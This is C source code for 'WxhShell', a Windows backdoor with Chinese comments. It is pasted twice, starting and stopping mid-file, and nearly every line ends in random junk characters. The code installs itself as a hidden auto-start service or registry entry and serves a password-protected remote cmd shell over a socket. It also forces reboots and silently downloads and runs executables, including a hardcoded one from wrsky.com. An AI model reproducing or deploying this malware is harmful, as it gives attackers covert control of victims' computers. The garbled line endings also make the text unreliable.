    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qt_KUtD  
    if(Boot(SHUTDOWN)) Qb%; |li  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *P]]7DR  
    else { iC^91!<  
    closesocket(wsh); \Ucv<S  
    ExitThread(0); bj 8pqw|;  
    } 4KSq]S.  
    break; aaN/HE_  
    } _s5FYb#  
  // 获取shell V=5*)i/  
  case 's': { R+e)TR7+  
    CmdShell(wsh); 9%3+\[s1  
    closesocket(wsh); 4b`Fi@J\  
    ExitThread(0); %21|-B  
    break; vdB2T2F  
  } m-;8O /  
  // 退出 s6 (md<r  
  case 'x': { gi5X ,:[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^-n^IR}J  
    CloseIt(wsh); DTo"{!  
    break; ?1 Vx)j>|  
    } O{7#Xj :_  
  // 离开 C!+PBk[9  
  case 'q': { v,ni9DIu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AFvv+ ss  
    closesocket(wsh); )D'# >!Y  
    WSACleanup(); G?\eO&QG{"  
    exit(1); 6-/W4L)?>  
    break; @"/H er  
        } On!+7is'  
  } 4MW oGV9  
  } _?'W30Dg  
@W @,8e]c  
  // 提示信息 KU0Ad);e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!t?*  
} WS.g` %  
  } hgE :2@  
xw_$1 S  
  return; |*h{GX.(  
} TqV^\C?  
fi~@J`  
// shell模块句柄 L ed{#+  
int CmdShell(SOCKET sock) 7 <]YK`a2d  
{ %{:pBt:Z  
STARTUPINFO si; #Hu# #x|  
ZeroMemory(&si,sizeof(si)); 0L#i c61U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *mWl=J;u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~=[5X,Ta  
PROCESS_INFORMATION ProcessInfo; S*J\YcqSC  
char cmdline[]="cmd"; l7VTuVGUJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F|.tn`j]U  
  return 0; c{?SFwgd  
} r%X M`;bQX  
#^9k&t#!6  
// 自身启动模式 ;XjXv'  
int StartFromService(void) `r3 klL,W'  
{ X !0 7QKs  
typedef struct %0}}Qt  
{ HUCJA-OZGL  
  DWORD ExitStatus; d=uGB"  
  DWORD PebBaseAddress; CAom4 Sp'  
  DWORD AffinityMask; 3#]IIj`\  
  DWORD BasePriority; UhkL=+PD  
  ULONG UniqueProcessId; Vmh$c*TE  
  ULONG InheritedFromUniqueProcessId; /0fsn_  
}   PROCESS_BASIC_INFORMATION; 98?O[=  
5M5vxJ)Lh  
PROCNTQSIP NtQueryInformationProcess; Lz-|M?(  
*f>\X[wN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !dh:jPpKq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^P]5@dv  
l`:u5\ rM  
  HANDLE             hProcess; 5ZH3}B^L$  
  PROCESS_BASIC_INFORMATION pbi; p>3QW3<  
J65:MaS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K[/L!.Ag  
  if(NULL == hInst ) return 0; zF{~Md1  
Dr=$}Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hy,""Py  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `VUJW]wGu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j&a\ K}U !  
:& :P4Y1 E  
  if (!NtQueryInformationProcess) return 0; "%a<+D  
g.%} +5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AL,7rYZG$  
  if(!hProcess) return 0; P?n4B \!  
J=: \b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I^u~r.  
N3MPW  
  CloseHandle(hProcess); :&'jh/vRN  
3T,[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -KfK~P3PF  
if(hProcess==NULL) return 0; r@vt.t0#  
5k Q@]n:<k  
HMODULE hMod; I_Gz~qk6  
char procName[255]; v'Ehr**]+  
unsigned long cbNeeded; `zw%  
"$o>_+U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /3SEu(d!  
j3N d4#  
  CloseHandle(hProcess); /EP zT7  
i4h`jFS  
if(strstr(procName,"services")) return 1; // 以服务启动 *l"CIG'  
hAc|a9 o  
  return 0; // 注册表启动 t0@AfO.'1  
} n=F rv*"Z  
2fu<s^9dh  
// 主模块 #ley3rJW]  
int StartWxhshell(LPSTR lpCmdLine) 3#dz6+  
{ Cj`~ntMN  
  SOCKET wsl; i|AWaG)  
BOOL val=TRUE; eiyr^Sch.  
  int port=0; |W=-/~X  
  struct sockaddr_in door; w%iw xo   
DmPsE6G}  
  if(wscfg.ws_autoins) Install(); 'xG J;pY  
'bSWJ/;p)  
port=atoi(lpCmdLine); DQP!e6Of  
tvFe_*Ck  
if(port<=0) port=wscfg.ws_port; +L.D3  
_&9P&Zf4  
  WSADATA data; dhnX\/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9s[   
m;>G]Sbe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ert={"Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eri007?D  
  door.sin_family = AF_INET; PLz+%L;{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4u%AZ<-C}m  
  door.sin_port = htons(port); Z4As'al  
2YY4 XHQS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RN[x\",  
closesocket(wsl); 32SkxcfrCK  
return 1; !9KDdU  
} se2Y:v  
#5{xWMp/0  
  if(listen(wsl,2) == INVALID_SOCKET) { #\^=3A|b  
closesocket(wsl); |gu@b~8  
return 1; ~?fl8RF\  
} c_+fA  
  Wxhshell(wsl); b1i~F45h  
  WSACleanup(); AA=rjB9  
o -)[{o\  
return 0; wL3RcXW``e  
}s@IQay+  
} $/g`{O I]K  
F {L#  
// 以NT服务方式启动 .JB1#&B +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [hg9 0Q6  
{ :{Z%dD  
DWORD   status = 0; ILH[q>  
  DWORD   specificError = 0xfffffff; >#;;g2UV  
4~$U#$u_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =A'JIssk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RfD#/G3|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vh?vD:|  
  serviceStatus.dwWin32ExitCode     = 0; vf<Dqy<M.  
  serviceStatus.dwServiceSpecificExitCode = 0; dz/fSA  
  serviceStatus.dwCheckPoint       = 0; -X7x~x-  
  serviceStatus.dwWaitHint       = 0; }wv Rs5;o  
`RE>gX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L / WRVc6  
  if (hServiceStatusHandle==0) return; 0]'  2i  
ps,Kj3^T<  
status = GetLastError(); SC2LY  
  if (status!=NO_ERROR)  f-[.^/  
{ !.O[@A\.-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4f8XO"k7t=  
    serviceStatus.dwCheckPoint       = 0; K3tW Y 4-  
    serviceStatus.dwWaitHint       = 0; hslT49m>  
    serviceStatus.dwWin32ExitCode     = status; 6 ]<yR> '  
    serviceStatus.dwServiceSpecificExitCode = specificError; E)jd>"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S[/udA   
    return; 'sa)_?Hy  
  } tS3&&t  
f B]2"(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <6+B;brh  
  serviceStatus.dwCheckPoint       = 0; <im}R9eJ1  
  serviceStatus.dwWaitHint       = 0; #EE<MKka  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lnjs{`^  
} eS ?9}TG|  
(]I=';\  
// 处理NT服务事件,比如:启动、停止 u R5h0Fi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }u0&>k|y  
{ 1)ij*L8k  
switch(fdwControl) WpE "A  
{ 4K`b?{){+a  
case SERVICE_CONTROL_STOP: eUCBQK  
  serviceStatus.dwWin32ExitCode = 0; CA&VnO{r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <^KW7M}w*c  
  serviceStatus.dwCheckPoint   = 0; b|kL*{;  
  serviceStatus.dwWaitHint     = 0; P()W\+",n  
  { c>/7E-T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|hd!C-x  
  } a x;<idC}  
  return; !~'D;Jh  
case SERVICE_CONTROL_PAUSE: 5i'?oXL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -}oH],C  
  break; a#CjGj)  
case SERVICE_CONTROL_CONTINUE: 0Db=/sJ>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =c&.I}^1L  
  break; ,`a8@  
case SERVICE_CONTROL_INTERROGATE: ,g"JgX  
  break; UM21Cfqex  
}; LXrk5>9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u:W/6QS  
} -T+'3</T  
yn(bW\  
// 标准应用程序主函数 I*cb\eU8Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  eBmHb\  
{ xy&*s\=:  
w6mYLK%  
// 获取操作系统版本 <)sL8G9Y  
OsIsNt=GetOsVer(); q?]KZ_a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , v=pp;  
j*f\Z!EeZ  
  // 从命令行安装 i$6a0'@U  
  if(strpbrk(lpCmdLine,"iI")) Install(); w r,+9uK  
/!p}H'jl  
  // 下载执行文件 7,alZ"%W  
if(wscfg.ws_downexe) { >T0`( #Lm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {:n1|_r4Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); e?O$`lf  
} @"^7ASd%  
$cm 9xW&  
if(!OsIsNt) { wHx_lsY;   
// 如果时win9x,隐藏进程并且设置为注册表启动 RVs=s}|>*  
HideProc(); ^4<&"aoo  
StartWxhshell(lpCmdLine); $ZB`4!JxG  
} UYW'pV  
else N Mx:Jh-YN  
  if(StartFromService()) r/P}j4)b7  
  // 以服务方式启动 [!uVo>Q4  
  StartServiceCtrlDispatcher(DispatchTable); "d}ey=$h4  
else ~>~qA0m"m  
  // 普通方式启动 8=0I4\  
  StartWxhshell(lpCmdLine); Y5"HKW^  
x1E;dbOZ  
return 0; |}<Gz+E>  
} Xi\c>eALO  
qFq$a9w|@  
+.|RH  
"o_'q@.}  
=========================================== 42}8es.aa  
Wa&!1' @  
MtoOIkQ  
jPZpJ:  
qTMY]=(  
t&EY$'c  
" _.BT%4  
n:k4t  
#include <stdio.h> /s=veiH  
#include <string.h> %9S0!h\  
#include <windows.h> 8B(v6(h  
#include <winsock2.h> )1 HWD]>4  
#include <winsvc.h> b&LAk-}[  
#include <urlmon.h> _./s[{ek  
39F e#u  
#pragma comment (lib, "Ws2_32.lib") O.xtY @'"  
#pragma comment (lib, "urlmon.lib") yq^Ma  
;G3?Sa7+  
#define MAX_USER   100 // 最大客户端连接数 x)eoz2E1  
#define BUF_SOCK   200 // sock buffer E\;%,19Ob  
#define KEY_BUFF   255 // 输入 buffer Z;RUxe|<k  
MHye!T6fO\  
#define REBOOT     0   // 重启 Vry_X2  
#define SHUTDOWN   1   // 关机 M:iH7K  
g0B%3v  
#define DEF_PORT   5000 // 监听端口 v+SdjFAY  
}@tgc?C D  
#define REG_LEN     16   // 注册表键长度 urCTP.F  
#define SVC_LEN     80   // NT服务名长度 K,%CE ].  
0 ]L   
// 从dll定义API K' <[kh:cl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O7uCTB+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n&?)gKL0g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hCd? Kti  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S9r+Nsn  
w1aoEo"S  
// wxhshell配置信息 R:R<Xt N`5  
struct WSCFG { k6RVP: V  
  int ws_port;         // 监听端口 pIYXYQ=Z  
  char ws_passstr[REG_LEN]; // 口令 L/] (pXEp  
  int ws_autoins;       // 安装标记, 1=yes 0=no R<{Vgy  
  char ws_regname[REG_LEN]; // 注册表键名 !@N?0@$/  
  char ws_svcname[REG_LEN]; // 服务名 %%>nM'4<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PwthYy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #(i pF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d%-/U!z?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '\xE56v)F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /wt7KL- I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rKyulgP  
L G5_\sY!  
}; hh*('n>[  
tpO '<b  
// default Wxhshell configuration 150-'Q  
struct WSCFG wscfg={DEF_PORT, [A"=!e$<  
    "xuhuanlingzhe", '=#fELMW  
    1, Gsb^gd  
    "Wxhshell", 6pbCQ q  
    "Wxhshell", " r o'?  
            "WxhShell Service", b.@4yW  
    "Wrsky Windows CmdShell Service", [Z#Sj=z  
    "Please Input Your Password: ", !Hl]&  
  1, 5Pn.c!  
  "http://www.wrsky.com/wxhshell.exe", Ef28  
  "Wxhshell.exe" Vd  d  
    }; }zQgS8PQH  
u;c WIRG  
// 消息定义模块 Y_!+Y<x7v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C c: <F_UI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *vuI'EbM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [YHtBM:y  
char *msg_ws_ext="\n\rExit."; ,qv\Y]  
char *msg_ws_end="\n\rQuit."; 6kdbbGO-  
char *msg_ws_boot="\n\rReboot..."; liH#=C8l*%  
char *msg_ws_poff="\n\rShutdown..."; X~D[CwA|`  
char *msg_ws_down="\n\rSave to "; t&J A1|q  
f pq|mY  
char *msg_ws_err="\n\rErr!"; 2%`= LGQC  
char *msg_ws_ok="\n\rOK!"; W&%,XwkQ  
HdB>CVuh  
char ExeFile[MAX_PATH]; .O5V;&,  
int nUser = 0; "V 26\  
HANDLE handles[MAX_USER]; jga\Ry=nw  
int OsIsNt; E1OrL.A6  
T>rmm7F  
SERVICE_STATUS       serviceStatus; It&CM,=t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D_czUM  
UgS`{&b36  
// 函数声明 &s vg<UZ  
int Install(void); _ s3d$C?B  
int Uninstall(void); c:7F 2+p  
int DownloadFile(char *sURL, SOCKET wsh); NGl 8*Af   
int Boot(int flag); <%S)6cw(3  
void HideProc(void); ; /K6U  
int GetOsVer(void); eDZ8F^0  
int Wxhshell(SOCKET wsl); A`f"<W-m  
void TalkWithClient(void *cs); Jl`^`Yv  
int CmdShell(SOCKET sock); /[FDiJH2  
int StartFromService(void); J#F5by%8  
int StartWxhshell(LPSTR lpCmdLine); gI;"PkN  
9AX}V6\+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j0; ~2W#G*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DMG~56cTO,  
-GPJ,S V>  
// 数据结构和表定义 )PP yJ@M  
SERVICE_TABLE_ENTRY DispatchTable[] = HC6U_d1-6  
{ yT@Aj;X0v  
{wscfg.ws_svcname, NTServiceMain}, 3U{ mC}F  
{NULL, NULL} pS ](Emn`.  
}; m.Zy$SDj(  
S=!WFKcJR  
// 自我安装 M x#L|w`r  
int Install(void) 3u/JcU-<  
{ Gd%i?(U,R  
  char svExeFile[MAX_PATH]; Bc"MOSV0  
  HKEY key; &`l\Q\_[@  
  strcpy(svExeFile,ExeFile); c.IUqin  
2MRd  
// 如果是win9x系统,修改注册表设为自启动 I$t8Ko._"  
if(!OsIsNt) { OlRXgJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `z(o01y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .))j R:{3  
  RegCloseKey(key); =6Ok4Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jq &Hz$L|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >^jBE''  
  RegCloseKey(key); T(?w}i  
  return 0; \DQu!l@1U  
    } A[+)PkR  
  } 0>BxS9?w  
} ay7\Ae]  
else { IAH"vHM  
GLtWo+g0  
// 如果是NT以上系统,安装为系统服务 1DB{"8ov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iN Oj @3x  
if (schSCManager!=0) U3a2wK  
{ \ T#|<=  
  SC_HANDLE schService = CreateService +fXwbZ?p  
  ( :lB`K>)iB}  
  schSCManager, ?0/$RpFEM#  
  wscfg.ws_svcname, prj(  
  wscfg.ws_svcdisp, Z8$BgP  
  SERVICE_ALL_ACCESS, }( F:U#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @\?ub F  
  SERVICE_AUTO_START, ,6{z  
  SERVICE_ERROR_NORMAL, /(JG\Ut  
  svExeFile, -13}]Gls7Q  
  NULL, >whv*@Fr  
  NULL, e n~m)r3&  
  NULL, 1@L18%h  
  NULL, }?,?2U,8:  
  NULL EN2t}rua  
  ); \PxT47[@e  
  if (schService!=0) [y9a.*]u/@  
  { }"TQ\v$  
  CloseServiceHandle(schService); l%EvXdZuOy  
  CloseServiceHandle(schSCManager); Wm6qy6HR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q[#}Oh6$  
  strcat(svExeFile,wscfg.ws_svcname); VG 5*17nf5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VBL4cU8D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~-zIB=TyK  
  RegCloseKey(key); 3Qe|'E,U  
  return 0; H7tv iSTd  
    } s<{ Hu0K$  
  } X=#us7W}  
  CloseServiceHandle(schSCManager); j2Dw7"f3  
} VH]}{i"`  
} 33DP?nI}  
%N-aLw\  
return 1; =Mx"+/Yo*  
} i1uoYb?4(I  
E\!X$  
// 自我卸载 n!z!fh  
int Uninstall(void) D:Q#%wJ  
{ 5\pS8<RJ;  
  HKEY key; Br9j)1;  
 .+1I>L  
if(!OsIsNt) { YjDQ`f/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eto"B"  
  RegDeleteValue(key,wscfg.ws_regname); $L= Dky7  
  RegCloseKey(key); lq:q0>vyI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'UsR/h5T  
  RegDeleteValue(key,wscfg.ws_regname); f8lyH'z0 @  
  RegCloseKey(key); AT1cN1:4?  
  return 0; u&I c  
  } veq3t$sj  
} vm|u~Yd,s  
} ,}IcQu'O  
else { <5E'`T  
u"qu!EY2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X6 BIZ  
if (schSCManager!=0) rtS cQ  
{ .5Y{Yme  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U6/7EOW,  
  if (schService!=0) 5&s6(?,Eu  
  { ;9j ]P56  
  if(DeleteService(schService)!=0) { {'4#{zmp  
  CloseServiceHandle(schService); 9$$  Ijf  
  CloseServiceHandle(schSCManager); /^xv1F{  
  return 0; &pzL}/u  
  } gg#9I(pX  
  CloseServiceHandle(schService); IaeO0\ 4E  
  } f)_<Ih\/7_  
  CloseServiceHandle(schSCManager); xH2'PEjFM  
} m[=SCH-;  
} ywp_,j9F  
F\N0<o  
return 1; GbO j% a  
} Sk53Lc  
S Q:H2vvD  
// 从指定url下载文件 F8?,}5j  
int DownloadFile(char *sURL, SOCKET wsh) R_G2C@y*  
{ .eIs$  
  HRESULT hr; b<y*:(:  
char seps[]= "/"; 7=N%$]DKZ  
char *token; 3q4Zwv0z20  
char *file; l\ dPfJ  
char myURL[MAX_PATH]; "}_ J"%  
char myFILE[MAX_PATH]; a&G{3#l  
sd\}M{U  
strcpy(myURL,sURL); ^*l dsc  
  token=strtok(myURL,seps); %6(\Ki6I  
  while(token!=NULL) Kv* 1=HES  
  { 6xx.Z3v  
    file=token; )*}\fmOv{  
  token=strtok(NULL,seps); 5P <"I["  
  } 4e>f}u 5  
}BS EK<W  
GetCurrentDirectory(MAX_PATH,myFILE); x3Cn:F  
strcat(myFILE, "\\"); 9K}DmS  
strcat(myFILE, file); BD]J/o  
  send(wsh,myFILE,strlen(myFILE),0); 1.p ?1"4\u  
send(wsh,"...",3,0); [cDDZ+6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qWK}  
  if(hr==S_OK) b [HnhAI  
return 0; j6^.Q/{^  
else ]u|FcwWc3  
return 1; Mm8_EjMp  
I;jH'._k#  
} 'exR;q\  
$o+@}B0)  
// 系统电源模块 G?F!Z"S  
int Boot(int flag) "8a V~]~Dj  
{ ISZEP8w  
  HANDLE hToken; Z]LP18m9kl  
  TOKEN_PRIVILEGES tkp; Z5rL.a&  
" xC$Ko _  
  if(OsIsNt) { 6$PQ$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =S54p(>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d^?e*USh  
    tkp.PrivilegeCount = 1; 6@0? ~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )5`^@zx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $n8&5<  
if(flag==REBOOT) { g NE"z   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <AVWT+,  
  return 0; 1| WDbk  
} M&Q&be84  
else { *@lVesC2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rr1,Ijh{D  
  return 0; /3 L4K  
} _JpTHpqu  
  } mtFC H  
  else { I&8!V)r)  
if(flag==REBOOT) { g>ke;SH%KY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A\/DAVnI  
  return 0; J'#o6Ud  
} !x-9A  
else { j bOwpyH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2CtCG8o  
  return 0; 9@ h-q(-  
} R,!a X"]|  
} |.~2C1 4[  
t P' ._0n0  
return 1; 5=<fJXf5y  
} a#Z#-y!  
o9D#d\G  
// win9x进程隐藏模块 kU)E-h  
void HideProc(void) slA~k;K:_  
{ `sdbo](76  
-oju-gf K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7m(9|Y:Q.  
  if ( hKernel != NULL ) `+(JwQC4  
  { /ubGa6N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g{?{N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); on\ahk, y]  
    FreeLibrary(hKernel); pR:cnkVF  
  } _A$V~Hp9q  
A{hST~s  
return; tdi}P/x  
} :=`N2D  
yle~hL  
// 获取操作系统版本 )Vy}oFT\  
int GetOsVer(void) o[G,~f\-  
{ s\ ]Rgi>w  
  OSVERSIONINFO winfo; 8{.:$T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V,3$>4x  
  GetVersionEx(&winfo); y?s#pSX;N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mhnK{M @56  
  return 1; :e4[isI  
  else ps]s Tw  
  return 0; !B*d,_9 c  
} /#4BUfY f  
WB|SXto%4D  
// 客户端句柄模块 #w]:<R^  
int Wxhshell(SOCKET wsl) gl6*bB=  
{ ,OO0*%  
  SOCKET wsh; $66DyK?  
  struct sockaddr_in client; "(y|iS$^T  
  DWORD myID; cW, 6 MAQo  
852Bh'u_  
  while(nUser<MAX_USER) e0u* \b  
{ !*|`-woE  
  int nSize=sizeof(client); r \]iw v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >RT02Ey>  
  if(wsh==INVALID_SOCKET) return 1; -RnQ8Iu o  
-Z%B9ql'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a?9Ka!O4s  
if(handles[nUser]==0) X5D}<J2"  
  closesocket(wsh); lo!_;`v=U  
else z+B"RV  
  nUser++; \lpR+zaF  
  } {oN7I'>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vg4N7i  
GKKf#r74  
  return 0; p2~MJ LK4  
} Rm!Iv&{  
lGZ^ 8  
// 关闭 socket g"sW_y_O  
void CloseIt(SOCKET wsh) +V6N/{^ 5  
{ QR($KW(  
closesocket(wsh); GoNX\^A  
nUser--; _(s|@UT#  
ExitThread(0); aE( j_`L78  
} %<w)#eV?  
*L.+w-g&&  
// 客户端请求句柄 vHPp$lql  
void TalkWithClient(void *cs) $k|k5cP8x  
{ rOu7r4  
Q<V?rPAcx  
  SOCKET wsh=(SOCKET)cs; LHb(T` .=  
  char pwd[SVC_LEN]; r4h4A w{  
  char cmd[KEY_BUFF]; v(/T<^{cuk  
char chr[1]; .W<yiB}^  
int i,j; -&* 4~  
J!,<NlP0K  
  while (nUser < MAX_USER) { A~6:eappH  
2\M^ _x$N  
if(wscfg.ws_passstr) { >>voLDDd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j\D_Z{m2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E1'HdOh&z  
  //ZeroMemory(pwd,KEY_BUFF); "$*&bC#dE  
      i=0; !>{` o/dZ  
  while(i<SVC_LEN) { )8:Ltn%  
Oozt&* F  
  // 设置超时 ShdE!q7  
  fd_set FdRead; _>8ZL)NQQ  
  struct timeval TimeOut; MV<2x7S  
  FD_ZERO(&FdRead); ZzNp#FrX"  
  FD_SET(wsh,&FdRead); %EuJ~;x(Mg  
  TimeOut.tv_sec=8; A&OU;j]  
  TimeOut.tv_usec=0; mjDaus59  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m?]X NgT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RjY(MSc  
+,&8U&~`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qx-/t9`!Z  
  pwd=chr[0]; _s/ 5oRHA  
  if(chr[0]==0xd || chr[0]==0xa) { 3?F*|E_  
  pwd=0; }j^asuf~c  
  break; 0>?%{Xy  
  } IvFxI#.ju  
  i++; ]3xb Q1  
    } S: IhJQ4K  
|kPjjVGF{  
  // 如果是非法用户,关闭 socket b!C\J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h\#\hx  
} hSQuML   
.tv'`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RjC3wO::  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;x/do?FbT  
`52+.*J+%  
while(1) { [&e|:1  
,%>]  
  ZeroMemory(cmd,KEY_BUFF); SJg4P4|  
"]1 !<M6\i  
      // 自动支持客户端 telnet标准   zPzy 0lx  
  j=0; TYv'#{  
  while(j<KEY_BUFF) { ]}t6V]`Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3K2B7loD)~  
  cmd[j]=chr[0]; 'MLp*3djF,  
  if(chr[0]==0xa || chr[0]==0xd) { F xek#  
  cmd[j]=0; ^U"$uJz!c  
  break; #|<\q*<  
  } zl?Gd4  
  j++;  .dA_}  
    } w; [ndZCY7  
>KPxksFR8  
  // 下载文件 `1}WQS  
  if(strstr(cmd,"http://")) { 7+_TdDBYs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :G3PdQb^  
  if(DownloadFile(cmd,wsh)) uDhe )  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)V!wSi  
  else Q=YIAGK  
